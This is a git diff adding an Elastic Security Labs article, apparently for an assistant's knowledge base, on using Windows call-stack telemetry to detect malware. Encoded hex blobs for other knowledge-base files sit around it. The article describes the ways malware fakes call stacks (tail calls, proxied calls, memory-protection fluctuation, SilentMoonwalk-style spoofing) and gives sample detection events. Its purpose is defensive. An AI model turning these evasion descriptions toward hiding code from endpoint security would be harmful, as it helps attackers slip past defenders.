f709b8d2745c40dbcb2a34aff896058b864e80b4287b65674a778c3f94b2e57b46be8a2a9a67477ab024b8ff0c247bb6fe03964b7cce6e4d124e06785ce86553857278721927057fbb34a0770f7fbf51b49eb0ce62a37ac7ea00d4d9147d7fa06590d33b20a3de886ef9d0807b4d4ec441959c094bef8bb67e7d46d2286a36f91d95298dd620828229a95a85a06b6d484b0580488af9b8fea1b0950796ffc92f30332404690dbb24cfec397bc4f47968817dcce3d9561ac2f550a5ca5b97c2537b5a054434821cdcbbf215cb48f3fa46feba36e431f366dfb8c8073292d6efa2f06bb9285f39069ed86e606dca3f07f0e3f7519a037e9cfd9a90a32a45c685c96db801ade363fcd09f7c7b75ee028ca17e45eede74a073dc7f800bcffb021426fb56ea5afcdb1c0aea9e3b006ec893b94621f5c985e9c3e7f02a612610139166d0c5c4dbbda02fd5602a37184deb6315bffbea729a275da7ed4a0b9e6901640440f573bd516c4f3498c6751876206d4d0ec9c49f36affa3fe57003a219149559a783d11029ac4f70a07a288e61caecbf06501b688e486454cfa5265f231098f9d7abd9ab053dac21b3741b50a947210e82704886cb4c128ae7b5a8963cad6a205c83d3748132184d682d5829e7bcfd26218689b6dd0db9aa0b30baba91f368d99e058205d7e2c8c1a78f811edc12f703f0faa3b293cc40a67464d09342e8a1ac3c31ee35da439ffcbfd762f49f541b356819e8ceb7bacd7f0e82b78275bfba722bde0bb37c244da1e7ccfd14316ef1dbbf5e864cb09e3e1c360615fbb494f8f55657903d23a5f8ea231d1aa1d430189804756ffa1182d404bd148e036a4a69c10fef1dd9e64e6f220ac523eb3310f5e8e568f7a3ae9862d2fac1d7142ca4695fe22e9fee8ae5fce636e06c6d6333b9da85a540230046e35f409210bae34f067987ea0ece7a88a9c060f3543cf885237383ae1456364fe835125fb59a264b38dab3959695b015e069249afab54ee223467685236932bd5fdba9889435966da2cdc3bda5c31c6f81ec7b9072e1d3a095fe9e961e7d398dadee2a049657ba910c5760c18e47e40f53cdd4097d35d962a4eafa9407a03f23236426e4211ea58967c050bc8aef0159dfde3a41d1f418fe935404dec5df01cfbc21111e14b33d5952d5e5ec83cd82e89b517866602250d62fb829eb4c0348a796c743e6388bd97485992f117c828cb3035733c78bd357d13f847fbbee655cf233c83cfc136b906d29d92fa80b97e9875f2856ae97721a89f811bd0280caefad1d843006c537bca16f32c6078561429213071307b5766ea76f0739aa6ae2b239056a3c224c1d0dde55a0c2aa1d81cb25b20dbc5d81e411e750fcfd644b139e6a46a55a692cdf81ab02f118c6316a822291c865261a796fd22defb14dfab114ff86e00d0482eba7d76a59a9014f6d6503a77badb11cd7a9efb49cd8e112febbc010241a186c8e7f8db45f98c4ec1e1338d438e671a89ae9ba396f5b2c03fae11430fd2bec9e13a59e371bdef327a514e99dd79a51c4be0ed5242ce76efe01d7f803f0fbdbd6ff9f29a9557f510b7e5ee7cdbdab12b398e69d509e5e6c600878f7bad303df8fed8ba375d93baaccb11bb21b0f1eba4c0d23878d73d5e112febbc010241a186c8e7f8db45f98bb64fd3f9a8feb221992134eff054bce92e39918a1628c1cbe44f58ec08922ccb5146f73a944953ff44acee4ac407a470cb6fa692d94bb4a2634a3b280bbd2b86e5d2e0eb1d58090e2880504fb3c900012dba0044feb380579020b63211297819840221844f328f4fef7d5c44694521a75bb620d4bd9378989e5c10d77b66c66b2bf14884a9a2d1d2a4883f7565312d7c269cc723685baaa8e0f5d87bb934426098ede68821dbb7ba105c92a7a64c4404b14fc9f206c8136a93015c0844e0472d1b3bf3f796e56f531932effbc9ee650aa6ae2b239056a3c224c1d0dde55a0c2aa1d81cb25b20dbc5d81e411e750fcfd2af74a4b2d13f38ea67a0db63ae3e5e4553232a5991aab871f80e0ac6a7656d9565b082d1959a3ab4924cce37281a22043d036600f4bf581cd009ccae1331659750006b9594df8cf91946e6e85bd44cdbe085024dcefd59f139944dfcdfc0412a20486b133ef95985e9878214d1d3609f21e38e1e24da3edc381fbab702a608143313c38e85fc57b7b78686fd58b3ab60b39ee3314e32d6dba8cbd3e6b7a747a635a581b776235bc7fbe892a3ea190f077a14d5eb0ebd1655a639bfdeed110812b487103885422713ac967dd9116389e9511eeeb6a921096dac7fd1c0af3fd2d43313c38e85fc57b7b78686fd58b3ab60b39ee3314e32d6dba8cbd3e6b7a747a95f8e0d751ab7687b4b05b664a64f6f1e119a38cc44705d70b04f686a44e939b9d76fcc613cd037e367fefe0041b9ae3 \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/call_stacks_no_more_free_passes_for_malware.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/call_stacks_no_more_free_passes_for_malware.md new file mode 100644 index 0000000000000..381167aebaedc --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/call_stacks_no_more_free_passes_for_malware.md @@ -0,0 +1,306 @@ +--- +title: "Call Stacks: No More Free Passes For Malware" +slug: "call-stacks-no-more-free-passes-for-malware" +date: "2025-06-12" +description: "We explore the immense value that call stacks bring to malware detection and why Elastic considers them to be vital Windows endpoint telemetry despite the architectural limitations." +author: + - slug: john-uhlmann +image: "Security Labs Images 33.jpg" +category: + - slug: security-research +--- + +## Call stacks provide the who + +One of Elastic’s key Windows endpoint telemetry differentiators is **call stacks**. + +Most detections rely on *what* is happening — and this is often insufficient as most behaviours are dual purpose. With call stacks, we add the fine-grained ability to also determine *who* is performing the activity. This combination gives us an unparalleled ability to uncover malicious activity. By feeding this deep telemetry to [Elastic Defend](https://www.elastic.co/docs/reference/integrations/endpoint)’s on-host rule engine, we can quickly respond to emerging threats. + +## Call stacks are a beautiful lie + +In computer science, a [stack](https://en.wikipedia.org/wiki/Stack_(abstract_data_type)) is a last-in, first-out data structure. Similar to a stack of physical items, it is only possible to add or remove the top element. A [call stack](https://www.elastic.co/security-labs/peeling-back-the-curtain-with-call-stacks) is a stack that contains information about the currently active subroutine calls. + +On x64 hosts, this call stack can only be accurately generated using execution tracing features on the CPU, such as [Intel LBR](https://www.blackhat.com/docs/us-16/materials/us-16-Pierce-Capturing-0days-With-PERFectly-Placed-Hardware-Traps-wp.pdf), Intel BTS, Intel AET, [Intel IPT](https://www.microsoft.com/en-us/research/wp-content/uploads/2017/01/griffin-asplos17.pdf), and [x64 Architectural LBR](https://lwn.net/Articles/824613/). These tracing features were designed for performance profiling and debugging purposes, but can be used in some security scenarios as well. However, what is more generally available is an *approximate* call stack that is recovered from a thread’s data stack via a mechanism called [stack walking](https://github.com/jdu2600/conference_talks/blob/main/2022-04-csidescbr-StackWalking.pdf). + +In the [x64 architecture](https://codemachine.com/articles/x64_deep_dive.html), the “stack pointer register” (`rsp`) unsurprisingly points to a stack data structure, and there are efficient instructions to read and write the data on this stack. Additionally, the `call` instruction transfers control to a new subroutine but also saves a return address at the memory address referenced by the stack pointer. A `ret` instruction will later retrieve this saved address so that execution can return to where it left off. Functions in most programming languages are typically implemented using these two instructions, and both function parameters and local function variables will typically be allocated on this stack for performance. The portion of the stack related to a single function is called a stack frame. + +![Windows x64 Calling Convention: Stack Frame - source https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/windows-x64-calling-convention-stack-frame](/assets/images/call-stacks-no-more-free-passes-for-malware/image2.png) + +Stack walking is the recovery of just the return addresses from the heterogeneous data stored on the thread stack. Return addresses need to be stored somewhere for control flow — so stack walking co-opts this existing data to **approximate** a call stack. This is entirely suitable for most debugging and performance profiling scenarios, but slightly less helpful for security auditing. The main issue is that you can’t disassemble backwards. You can always determine the return address for a given call site, but not the converse. The best approach you can take is to check each of the 15 possible preceding instruction lengths and see which disassembles to exactly one call instruction. Even then, all you have recovered is a *previous* call site — not necessarily the exact *preceding* call site. This is because most compilers use [tail call](https://en.wikipedia.org/wiki/Tail_call) optimisation to omit unnecessary stack frames. This creates [annoying scenarios for security](https://youtu.be/9SqDY0wMmHE) like there being no guarantee that the Win32StartAddress function will be on the stack even though it was called. + +So what we usually refer to as a call stack is actually a return address stack. + +Malware authors use this ambiguity to lie. They either craft trampoline stack frames through legitimate modules to hide calls originating from malicious code, or they coerce stack walking into predicting different return addresses than those the CPU will execute. Of course, malware has always just been an attempt to lie, and antimalware is just the process of exposing that lie. + +“... but at the length truth will out.” + - William Shakespeare, The Merchant of Venice, Act 2, Scene 2 + +## Making call stacks beautiful + +So far, a stack walk is just a list of numeric memory addresses. To make them useful for analysis we need to enrich them with context. (Note: we don’t currently include kernel stack frames.) + +The minimum useful enrichment is to convert these addresses into offsets within modules (e.g. `ntdll.dll+0x15c9c4`). This would only catch the most egregious malware though — we can go deeper. The most important modules on Windows are those that implement the Native and Win32 APIs. The application binary interface for these APIs requires that the name of each function be included in the [Export Directory](https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#the-edata-section-image-only) of the containing module. This is the information that Elastic currently uses to enrich its endpoint call stacks. + +A more accurate enrichment could be achieved by using the public symbols (if available) [hosted](https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/microsoft-public-symbols) on the vendor’s infrastructure (especially Microsoft) While this method offers deeper fidelity, it comes with higher operational costs and isn’t feasible for our air-gapped customers. + +A rule of thumb for Microsoft kernel and native symbols is that the exported interface of each component has a capitalised prefix such as Ldr, Tp or Rtl. Private functions extend this prefix with a p. By default, private functions with external linkage are included in the [public symbol table](https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/public-and-private-symbols). A very large offset might indicate a very large function, but it could also just indicate an unnamed function that you don’t have symbols for. A general guideline would be to consider any triple-digit and larger offsets in an exported function as likely belonging to another function. + +| Call Stack | Stack Walk | Stack Walk Modules | Stack Walk Exports (Elastic approach) | Stack Walk Public Symbols | +| :---- | :---- | :---- | :---- | :---- | +| 0x7ffb8eb9c9c2 **0x12d383f0046** 0x7ffb8eb1a9d8 0x7ffb8eb1aaf4 0x7ffb8ea535ff 0x7ffb8da5e8cf 0x7ffb8eaf14eb | 0x7ffb8eb9c9c4 0x7ffb8c3c71d6 0x7ffb8eb1a9ed 0x7ffb8eb1aaf9 0x7ffb8ea53604 0x7ffb8da5e8d4 0x7ffb8eaf14f1 | ntdll.dll+0x15c9c4 kernelbase.dll+0xc71d6 ntdll.dll+0xda9ed ntdll.dll+0xdaaf9 ntdll.dll+0x13604 kernel32.dll+0x2e8d4 ntdll.dll+0xb14f1 | ntdll.dll!NtProtectVirtualMemory+0x14 kernelbase.dll!VirtualProtect+0x36 ntdll.dll!RtlAddRefActivationContext+0x40d ntdll.dll!RtlAddRefActivationContext+0x519 ntdll.dll!RtlAcquireSRWLockExclusive+0x974 kernel32.dll!BaseThreadInitThunk+0x14 ntdll.dll!RtlUserThreadStart+0x21 | ntdll.dll!NtProtectVirtualMemory+0x14 kernelbase.dll!VirtualProtect+0x36 ntdll.dll!RtlTpTimerCallback+0x7d ntdll.dll!TppTimerpExecuteCallback+0xa9 ntdll.dll!TppWorkerThread+0x644 kernel32.dll!BaseThreadInitThunk+0x14 ntdll.dll!RtlUserThreadStart+0x21 | + +Comparison of Call Stack Enrichment Levels + +In the above example, the shellcode at 0x12d383f0000 deliberately used a tail call so that its address wouldn’t appear in the stack walk. This lie-by-omission is apparent even with only the stalk walk. Elastic reports this with the `proxy_call` heuristic as the malware registered a timer callback function to proxy the call to `VirtualProtect` from a different thread. + +## **Making call stacks powerful** + +The call stacks of the system calls that we monitor with [Event Tracing for Windows](https://www.elastic.co/security-labs/kernel-etw-best-etw) (ETW) have an expected structure. At the bottom of the stack is the thread StartAddress - typically ntdll.dll!RtlUserThreadStart. This is followed by the Win32 API thread entry - kernel32.dll!BaseThreadInitThunk and then the first user module. A user module is application code that is not part of the Win32 (or Native) API. This first user module should match the thread’s Win32StartAddress (unless that function used a tail call). More user modules will follow until the final user module makes a call into a Win32 API that makes a Native API call, which finally results in a system call to the kernel. + +From a detection standpoint, the most important module in this call stack is the [final user module](https://github.com/search?q=repo%3Aelastic%2Fprotections-artifacts+call_stack_final_user_module&type=code). Elastic shows this module, including its hash and any code signatures. These details aid in alert triage, but more importantly, they drastically improve the granularity at which we can baseline the behaviours of legitimate software that sometimes behaves like malware. The more accurately we can baseline normal, the harder it is for malware to blend in. + +```json +{ + "process.thread.Ext": { + "call_stack_summary": "ntdll.dll|kernelbase.dll|file.dll|rundll32.exe|kernel32.dll|ntdll.dll", + "call_stack": [ + { "symbol_info": "c:\\windows\\system32\\ntdll.dll!NtAllocateVirtualMemory+0x14" }, /* Native API */ + { "symbol_info": "c:\\windows\\system32\\kernelbase.dll!VirtualAllocExNuma+0x62" }, /* Win32 API */ + { "symbol_info": "c:\\windows\\system32\\kernelbase.dll!VirtualAllocEx+0x16" }, /* Win32 API */ + { + "symbol_info": "c:\\users\\user\\desktop\\file.dll+0x160d8b", /* final user module */ + "callsite_trailing_bytes": "488bf0488d4d88e8197ee2ff488bc64883c4685b5e5f415c415d415e415f5dc390909090905541574156415541545756534883ec58488dac2490000000488b71", + "callsite_leading_bytes": "088b4d38894c2420488bca48894db8498bd0488955b0458bc1448945c4448b4d3044894dc0488d4d88e8e77de2ff488b4db8488b55b0448b45c4448b4dc0ffd6" + }, + { "symbol_info": "c:\\users\\user\\desktop\\file.dll+0x7b429" }, + { "symbol_info": "c:\\users\\user\\desktop\\file.dll+0x44a9" }, + { "symbol_info": "c:\\users\\user\\desktop\\file.dll+0x5f58" }, + { "symbol_info": "c:\\windows\\system32\\rundll32.exe+0x3bcf" }, + { "symbol_info": "c:\\windows\\system32\\rundll32.exe+0x6309" }, /* first user module - typically the ETHREAD.Win32StartAddress module */ + { "symbol_info": "c:\\windows\\system32\\kernel32.dll!BaseThreadInitThunk+0x14" }, /* Win32 API */ + { "symbol_info": "c:\\windows\\system32\\ntdll.dll!RtlUserThreadStart+0x21" /* Native API - the ETHREAD.StartAddress module */ + } + ], + "call_stack_final_user_module": { + "path": "c:\\users\\user\\desktop\\file.dll", + "code_signature": [ { "exists": false } ], + "name": "file.dll", + "hash": { "sha256": "0240cc89d4a76bafa9dcdccd831a263bf715af53e46cac0b0abca8116122d242" } + } + } +} +``` + +Sample enriched call stack + +Call stack final user module enrichments: + +| name | The file name of the call_stack_final_user_module. Can also be "Unbacked" indicating private executable memory, or "Undetermined" indicating a suspicious call stack. | +| :---- | :---- | +| path | The file path of the call_stack_final_user_module. | +| hash.sha256 | The sha256 of the call_stack_final_user_module, or the protection_provenance module if any. | +| code_signature | Code signature of the call_stack_final_user_module, or the protection_provenance module if any. | +| allocation_private_bytes | The number of bytes in this memory region that are both +X and non-shareable. Non-zero values can indicate code hooking, patching, or hollowing. | +| protection | The memory protection for the acting region of pages is included if it is not RX. Corresponds to MEMORY_BASIC_INFORMATION.Protect. | +| protection_provenance | The name of the memory region that caused the last modification of the protection of this page. "Unbacked" may indicate shellcode. | +| protection_provenance_path | The path of the module that caused the last modification of the protection of this page. | +| reason | The anomalous call_stack_summary that led to an "Undetermined" protection_provenance. | + + +## A quick call stack glossary + +When examining call stacks, there are some Native API functions that are helpful to be familiar with. Ken Johnson, now of Microsoft, has provided us with a [catalog of NTDLL kernel mode to user mode callbacks](http://www.nynaeve.net/?p=200) to get us started. Seriously, you should pause here and go read that first. + +We met RtlUserThreadStart earlier. Both it and its sibling RtlUserFiberStart should only ever appear at the bottom of a call stack. These are the entrypoints for user threads and [fibers](https://learn.microsoft.com/en-us/windows/win32/procthread/fibers), respectively. The first instruction on every thread, however, is actually LdrInitializeThunk. After performing the user-mode component of thread initialisation (and process, if required), this function transfers control to the entrypoint via NtContinue, which updates the instruction pointer directly. This means that it does not appear in any future stack walks. + +So if you see a call stack that includes LdrInitializeThunk then this means you are at the very start of a thread’s execution. This is where the application compatibility [Shim Engine](https://techcommunity.microsoft.com/blog/askperf/demystifying-shims---or---using-the-app-compat-toolkit-to-make-your-old-stuff-wo/374947) operates, where hook-based security products prefer to install themselves, and where malware tries to gain execution *before* those other security products. [Marcus Hutchins](https://malwaretech.com/2024/02/bypassing-edrs-with-edr-preload.html) and [Guido Miggelenbrink](https://www.outflank.nl/blog/2024/10/15/introducing-early-cascade-injection-from-windows-process-creation-to-stealthy-injection/) have both written excellent blogs on this topic. This startup race does not exist for security products that utilise [kernel ETW](https://www.elastic.co/security-labs/kernel-etw-best-etw) for telemetry. + +```json +{ + "process.thread.Ext": { + "call_stack_summary": "ntdll.dll|file.exe|ntdll.dll", + "call_stack": [ + { "symbol_info": "c:\\windows\\system32\\ntdll.dll!ZwProtectVirtualMemory+0x14" }, + { "symbol_info": "c:\\users\\user\\desktop\\file.exe+0x1bac8" }, + { "symbol_info": "c:\\windows\\system32\\ntdll.dll!RtlAnsiStringToUnicodeString+0x3cb" }, + { "symbol_info": "c:\\windows\\system32\\ntdll.dll!LdrInitShimEngineDynamic+0x394d" }, + { "symbol_info": "c:\\windows\\system32\\ntdll.dll!LdrInitializeThunk+0x1db" }, + { "symbol_info": "c:\\windows\\system32\\ntdll.dll!LdrInitializeThunk+0x63" }, + { "symbol_info": "c:\\windows\\system32\\ntdll.dll!LdrInitializeThunk+0xe" } + ], + "call_stack_final_user_module": { + "path": "c:\\users\\user\\desktop\\file.exe", + "code_signature": [ { "exists": false } ], + "name": "file.exe", + "hash": { "sha256": "a59a7b56f695845ce185ddc5210bcabce1fff909bac3842c2fb325c60db15df7" } + } + } +} +``` + +Pre-entrypoint execution example + +The next pair is KiUserExceptionDispatcher and KiRaiseUserExceptionDispatcher. The kernel uses the former to pass execution to a registered user-mode structured exception handler after a user-mode exception condition has occurred. The latter also raises an exception, but on behalf of the kernel instead. This second variant is usually only caught by debuggers, including [Application Verifier](https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/application-verifier), and helps identify when user-mode code is not sufficiently checking return codes from syscalls. These functions will usually be seen in call stacks related to application-specific crash handling or [Windows Error Reporting](https://learn.microsoft.com/en-us/windows/win32/wer/windows-error-reporting). However, sometimes malware will use it as a pseudo-breakpoint — for example, if they want to [fluctuate memory protections](https://github.com/elastic/protections-artifacts/blob/3537aa4ed9c7ed9dcd04da2efafbad38af47a017/behavior/rules/windows/defense_evasion_virtualprotect_via_vectored_exception_handling.toml) to rehide their shellcode immediately after making a system call. + +```json +{ + "process.thread.Ext": { + "call_stack_summary": "ntdll.dll|file.exe|ntdll.dll|file.exe|kernel32.dll|ntdll.dll", + "call_stack": [ + { + "symbol_info": "c:\\windows\\system32\\ntdll.dll!ZwProtectVirtualMemory+0x14", + "protection_provenance": "file.exe", /* another vendor's hooks were unhooked */ + "allocation_private_bytes": 8192 + }, + { "symbol_info": "c:\\users\\user\\desktop\\file.exe+0xd99c" }, + { "symbol_info": "c:\\windows\\system32\\ntdll.dll!RtlInitializeCriticalSectionAndSpinCount+0x1c6" }, + { "symbol_info": "c:\\windows\\system32\\ntdll.dll!RtlWalkFrameChain+0x1119" }, + { "symbol_info": "c:\\windows\\system32\\ntdll.dll!KiUserExceptionDispatcher+0x2e" }, + { "symbol_info": "c:\\users\\user\\desktop\\file.exe+0x12612" }, + { "symbol_info": "c:\\windows\\system32\\kernel32.dll!BaseThreadInitThunk+0x14" }, + { "symbol_info": "c:\\windows\\system32\\ntdll.dll!RtlUserThreadStart+0x21" } + ], + "call_stack_final_user_module": { + "name": "file.exe", + "path": "c:\\users\\user\\desktop\\file.exe", + "code_signature": [ { "exists": false }], + "hash": { "sha256": "0e5a62c0bd9f4596501032700bb528646d6810b16d785498f23ef81c18683c74" } + } + } +} +``` + +Protection fluctuation via exception handler example + +Next is KiUserApcDispatcher, which is used to deliver [user APCs](https://learn.microsoft.com/en-us/windows/win32/sync/asynchronous-procedure-calls). These are one of the favourite tools of malware authors, as Microsoft only provides limited visibility into its use. + +```json +{ + "process.thread.Ext": { + "call_stack_summary": "ntdll.dll|kernelbase.dll|ntdll.dll|kernelbase.dll|cronos.exe", + "call_stack": [ + { "symbol_info": "c:\\windows\\system32\\ntdll.dll!NtProtectVirtualMemory+0x14" }, + { "symbol_info": "c:\\windows\\system32\\kernelbase.dll!VirtualProtect+0x36" }, /* tail call */ + { "symbol_info": "c:\\windows\\system32\\ntdll.dll!KiUserApcDispatcher+0x2e" }, + { "symbol_info": "c:\\windows\\system32\\ntdll.dll!ZwDelayExecution+0x14" }, + { "symbol_info": "c:\\windows\\system32\\kernelbase.dll!SleepEx+0x9e" }, + { + "symbol_info": "c:\\users\\user\\desktop\\file.exe+0x107d", + "allocation_private_bytes": 147456, /* stomped */ + "protection": "RW-", /* fluctuation */ + "protection_provenance": "Undetermined", /* proxied call */ + "callsite_leading_bytes": "010000004152524c8d520141524883ec284150415141baffffffff41525141ba010000004152524c8d520141524883ec284150b9ffffffffba0100000041ffe1", + "callsite_trailing_bytes": "4883c428c3cccccccccccccccccccccccccccc894c240857b820190000e8a10c0000482be0488b052fd101004833c44889842410190000488d84243014000048" + } + ], + "call_stack_final_user_module": { + "name": "Undetermined", + "reason": "ntdll.dll|kernelbase.dll|ntdll.dll|kernelbase.dll|file.exe" + } + } +} +``` + +Protection fluctuation via APC example + +The Windows window manager is implemented in a kernel-mode device driver (win32k.sys). Mostly. Sometimes the window manager needs to do something from user-mode, and KiUserCallbackDispatcher is the mechanism to achieve that. It’s basically a reverse syscall that targets user32.dll functions. Overwriting an entry in a process’s [KernelCallbackTable](https://attack.mitre.org/techniques/T1574/013/) is an easy way to hijack a GUI thread, so any other module following this call is suspicious. + +Knowledge of the purpose of each of these kernel-mode to user-mode entry points greatly assists in determining if a given call stack is natural or if it has been misappropriated to achieve alternative goals. + +## Making call stacks understandable + +To aid understandability, we also tag the event with various process.Ext.api.behaviors that we identify. These behaviours aren’t necessarily malicious, but they highlight aspects that are relevant to alert triage or threat hunting. For call stacks, these include: + +| native_api | A call was made directly to the Native API rather than the Win32 API. | +| :---- | :---- | +| direct_syscall | A syscall instruction originated outside of the Native API layer. | +| proxy_call | The call stack may indicate a proxied API call to mask the true source. | +| shellcode | Second generation executable non-image memory called a sensitive API. | +| image_indirect_call | An entry in the call stack was preceded by a call to a dynamically resolved function. | +| image_rop | No call instruction preceded an entry in the call stack. | +| image_rwx | An entry in the call stack is writable. Code should be read-only. | +| unbacked_rwx | An entry in the call stack is non-image and writable. Even JIT code should be read-only. | +| truncated_stack | The call stack seems to be unexpectedly truncated. This may be due to malicious tampering. | + +In some contexts, these behaviours alone may be sufficient to detect malware. + +![SilentMoonwalk variant alerts](/assets/images/call-stacks-no-more-free-passes-for-malware/image1.png) + +## Spoofing — bypass or liability? + +Return address spoofing has been a staple [game hacking](https://www.unknowncheats.me/forum/assembly/88648-spoofing-return-address.html) and [malware](https://www.welivesecurity.com/2013/08/26/nymaim-obfuscation-chronicles/) technique for many, many years. This simple trick allows injected code to borrow the reputation of a legitimate module with few consequences. The goal of deep call stack inspection and behaviour baselines is to stop giving malware this free pass. + +Offensive researchers have been assisting this effort by looking into approaches for full call stack spoofing. Most notably: + +* [Spoofing Call Stacks To Confuse EDRs](https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs) by William Burgess +* [SilentMoonwalk: Implementing a dynamic Call Stack Spoofer](https://klezvirus.github.io/RedTeaming/AV_Evasion/StackSpoofing/) by Alessandro Magnosi, Arash Parsa and Athanasios Tserpelis + +[SilentMoonwalk](https://media.defcon.org/DEF%20CON%2031/DEF%20CON%2031%20presentations/Alessandro%20klezVirus%20Magnosi%20Arash%20waldoirc%20Parsa%20Athanasios%20trickster0%20Tserpelis%20-%20StackMoonwalk%20A%20Novel%20approach%20to%20stack%20spoofing%20on%20Windows%20x64.pdf), in addition to being superb offensive research, is an excellent example of how lying can get you into twice the amount of trouble — but only if you get caught. Many Defense Evasion techniques rely on security-by-obscurity — and once exposed by researchers, they can become a liability. In this case, the research included advice on the detection opportunities **introduced** by the evasion attempt. + +```json +{ + "process.thread.Ext": { + "call_stack_summary": "ntdll.dll|kernelbase.dll|kernel32.dll|ntdll.dll", + "call_stack": [ + { "symbol_info": "c:\\windows\\system32\\ntdll.dll!NtAllocateVirtualMemory+0x14" }, + { "symbol_info": "c:\\windows\\system32\\kernelbase.dll!VirtualAlloc+0x48" }, + { + "symbol_info": "c:\\windows\\system32\\kernelbase.dll!CreatePrivateObjectSecurity+0x31", + /* 4883c438 stack desync gadget - add rsp 0x38 */ + "callsite_trailing_bytes": "4883c438c3cccccccccccccccccccc48895c241057498bd8448bd2488bf94885c90f84660609004885db0f845d060900418bd14585c97411418bc14803c383ea", + "callsite_leading_bytes": "cccccccccccccccccccccccccccccc4883ec38488b4424684889442428488b442460488944242048ff15d9b21b000f1f44000085c00f8830300900b801000000" + }, + { "symbol_info": "c:\\windows\\system32\\kernelbase.dll!Internal_EnumSystemLocales+0x406" }, + { "symbol_info": "c:\\windows\\system32\\kernelbase.dll!SystemTimeToTzSpecificLocalTimeEx+0x2d1" }, + { "symbol_info": "c:\\windows\\system32\\kernelbase.dll!WaitForMultipleObjectsEx+0x982" }, + { "symbol_info": "c:\\windows\\system32\\kernel32.dll!BaseThreadInitThunk+0x14" }, + { "symbol_info": "c:\\windows\\system32\\ntdll.dll!RtlUserThreadStart+0x21" } + ], + "call_stack_final_user_module": { + "name": "Undetermined", /* gadget module resulted in suspicious call stack */ + "reason": "ntdll.dll|kernelbase.dll|kernel32.dll|ntdll.dll" + } + } +} +``` + +SilentMoonwalk call stack example + +A standard technique for unearthing hidden artifacts is to enumerate them using multiple techniques and compare the results for discrepancies. This is [how RootkitRevealer works](https://learn.microsoft.com/en-us/sysinternals/downloads/rootkit-revealer#how-rootkitrevealer-works). This approach was also used in [Get-InjectedThreadEx.exe](https://github.com/jdu2600/conference_talks/blob/main/2023-09-bsidescbr-GetInjectedThreadEx.pdf), which [climbs up the thread stack](https://github.com/jdu2600/Get-InjectedThreadEx/blob/edbff70fc286a3f1c32c6249b3b913d84d70259b/Get-InjectedThreadEx.cpp#L419-L445) as well as walking down it. + +In certain circumstances, we may be able to recover a call stack in two ways. If there are discrepancies, then you will see the less reliable call stack emitted as call_stack_summary_original. + +```json +{ + "process.thread.Ext": { + "call_stack_summary": "ntdll.dll", + "call_stack_summary_original": "ntdll.dll|kernelbase.dll|version.dll|kernel32.dll|ntdll.dll", + "call_stack": [ + { "symbol_info": "c:\\windows\\system32\\ntdll.dll!NtContinue+0x12" }, + { "symbol_info": "c:\\windows\\system32\\ntdll.dll!LdrInitializeThunk+0x13" } + ], + "call_stack_final_user_module": { + "name": "Undetermined", + "reason": "ntdll.dll" + } + } +} +``` + +Call Stack summary original example + +## Call Stacks are for everyone + +By default you will only find call stacks in our alerts, but this is configurable through advanced policy. + +| events.callstacks.emit_in_events | If set, call stacks will be included in regular events where they are collected. Otherwise, they are only included in events that trigger behavioral protection rules. Note that setting this may significantly increase data volumes. Default: false | +| :---- | :---- | + +Further insights into Windows call stacks is available in the following Elastic Security Labs articles: + +* [Upping the Ante: Detecting In-Memory Threats with Kernel Call Stacks](https://www.elastic.co/security-labs/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks) +* [Peeling back the curtain with call stacks](https://www.elastic.co/security-labs/peeling-back-the-curtain-with-call-stacks) +* [Doubling Down: Detecting In-Memory Threats with Kernel ETW Call Stacks](https://www.elastic.co/security-labs/doubling-down-etw-callstacks) +* [In-the-Wild Windows LPE 0-days: Insights & Detection Strategies](https://www.elastic.co/security-labs/itw-windows-lpe-0days-insights-and-detection-strategies) +* [Misbehaving Modalities: Detecting Tools, not Techniques](https://www.elastic.co/security-labs/misbehaving-modalities) +* [Finding Truth in the Shadows](https://www.elastic.co/security-labs/finding-truth-in-the-shadows) diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/callout_example.encoded.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/callout_example.encoded.md deleted file mode 100644 index 71320aa80b444..0000000000000 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/callout_example.encoded.md +++ /dev/null @@ -1 +0,0 @@ -858a029c9dc0acf038d4deab632b5fd5354a3119a8d3d6c22e0e34a9c611a80349f2a0ede136c8e502fbfba65eef66bda23a060b6254886705f3a50091145bf67042131a519012ee6dfeedf3e9d2e0c7c92d0a3cbbfbecb3598669738e0f6445d6b4a6d5555850689fbc94eaf18ef17adf1bebeb74ab64670d31c2c4ced69e77a1f6777f897cf22c2b0b92cf1872c3865b1a1919c74d8eebcbcef73fcd4666914f4cc763f892aceb9702cff3c5b80bd8fe9cbe8753f99e45c7e37093b793b9929a998c0e218f554f4a8c7ebf7579b08ec7d1b882ad50897d9078ffdf59321b697290844ebe59b84a05d4af22cd755572d7f2d87c60b3331e39317102807961fae4ce1c4e1115aa43f1c206224b1d5c1092c270fea56038e181e5df66d06a6568c732750d50616fe06bbcd8129d0e67d0977436497f97a371d3f726cd86e474ea070bfddbec4d874930810509160f50c4114659ffda8b38117af8ce49c6ff8d9c125b042952bda8be4e9d173b7aab24398aee7280f0532914cb4e61d9a790df29eb18b5b93ae79c20af0f1a36d7190e16bfe2493ade035d73d18232e83a645a3b3bac0d60223b0243cfcf185ee2859da1662ff24b1e15f4d2ee85696d21b2dfa3b3a9860508eda4860f736f5f735be42300dfea60d3fd43b089dc5526f0de29c846871c6e17dfe51b6ec1075712bb37cb8d7dbd6031a6a9388de4b98d5540340138f6b986f7ea1a9d16dd890084522042481d82577f7d4ee776a11547c73d9c8bfaf5a014015188b01a5fc4d56745a2c76b67dc254e91e820ec45b3c713efea85d46490625399a80e663e04bc6dfcc5a2ab78c3ed2facbe6c565e4fe6e78981cb20c83c21b50ec2cad8eea9568162e8adf37cfa24e2c1827677e0938af9c23a155143edad8ff021d68a8b3b100b3d2c0f6f47dc75aff189b33ab940bcbd3a1e097521ff03ad7ed61a61bbcd387424a1f5314b3b44be0307f35e29ebbd71